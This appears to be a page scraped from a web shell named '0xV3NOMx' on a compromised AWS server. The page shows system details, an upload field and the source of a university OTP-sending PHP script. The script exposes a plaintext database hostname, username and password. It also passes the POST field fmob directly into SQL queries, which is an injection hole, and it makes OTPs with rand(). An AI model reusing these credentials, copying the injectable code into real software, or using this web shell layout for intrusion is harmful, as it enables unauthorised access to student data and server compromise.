0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.71.243


Current Path : /var/www/html/univadmin/regform/php/
Upload File :
Current File : /var/www/html/univadmin/regform/php/sendotpfrgt.php

<?php
include("/var/www/config.php");
// include("database.php")
	
	
	$servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
	$username   = "admin";
	$password  = "T0g3th3r@all";
	$database = "logisys3_reva";
	    
	$conn = new  mysqli($servername,$username,$password,$database);
	if(!$conn) 
	{
        die("Connection failed: " . mysqli_connect_error());
	}
include ('../../../sms/sendsmsapiv1.php');

error_reporting(E_ALL);
ini_set('display_errors', 'on');

$fmob = $_POST["fmob"];
$query ="select * from corpuser where fmob='{$fmob}'";
$result = mysqli_query($conn,$query);
$count = mysqli_num_rows($result);
if($count > 0 ){
    date_default_timezone_set('Asia/Kolkata');
	$time =  date("h:i A");
	$otp = rand(1000, 9000);
	$smsotp = "From $database: Dear Student, OTP for Registration is $otp. sent at {$time} - Uniclare";

    $sms = new SMS('026', 'OTP');
	$sms->sendIndvidualSms($fmob, $smsotp, '900', 'PGET');

    $smsresp = 'Sent';
	$row["sms"] = $smsresp;

    $query = "update corpuser set fotp = '{$otp}' where fmob = '{$fmob}'";
    $result = mysqli_query($conn,$query);

    if($result){
        $row['msg'] = "success";
    }else{
        $row['msg'] = "error";
    }
}else
{
	$row["msg"] = 'invalid';
}
echo json_encode($row);
?>